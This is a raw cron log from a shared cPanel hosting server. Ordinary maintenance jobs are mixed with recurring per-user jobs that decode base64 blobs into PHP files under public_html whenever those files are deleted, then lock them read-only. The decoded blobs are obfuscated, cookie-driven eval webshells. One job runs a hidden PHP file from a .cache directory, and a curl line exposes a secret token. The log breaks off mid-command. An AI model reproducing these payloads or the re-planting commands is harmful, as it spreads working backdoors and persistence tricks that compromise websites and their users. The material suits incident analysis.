Mar  2 14:32:02 medusa CROND[15663]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:32:02 medusa CROND[15667]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:33:01 medusa CROND[491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:33:01 medusa CROND[725]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:33:01 medusa CROND[726]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:33:01 medusa CROND[727]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:33:01 medusa CROND[734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:33:01 medusa CROND[735]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:33:01 medusa CROND[736]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:33:01 medusa CROND[737]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:33:01 medusa CROND[738]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:33:01 medusa CROND[745]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:33:01 medusa CROND[746]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:33:01 medusa CROND[748]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:34:01 medusa CROND[20877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:34:01 medusa CROND[20878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:34:01 medusa CROND[20879]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:34:01 medusa CROND[20880]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:34:01 medusa CROND[20884]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:34:01 medusa CROND[20885]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:34:01 medusa CROND[20883]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:34:01 medusa CROND[20882]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:34:01 medusa CROND[20881]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:34:01 medusa CROND[20886]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:34:01 medusa CROND[20887]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:34:01 medusa CROND[20888]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:34:01 medusa CROND[20889]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:35:01 medusa CROND[8189]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:35:01 medusa CROND[8211]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 14:35:01 medusa CROND[8212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:35:01 medusa CROND[8229]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:35:01 medusa CROND[8410]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:35:01 medusa CROND[8412]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:35:01 medusa CROND[8607]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:35:01 medusa CROND[8608]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:35:01 medusa CROND[8610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:35:01 medusa CROND[8611]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:35:01 medusa CROND[8613]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 14:35:01 medusa CROND[8614]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 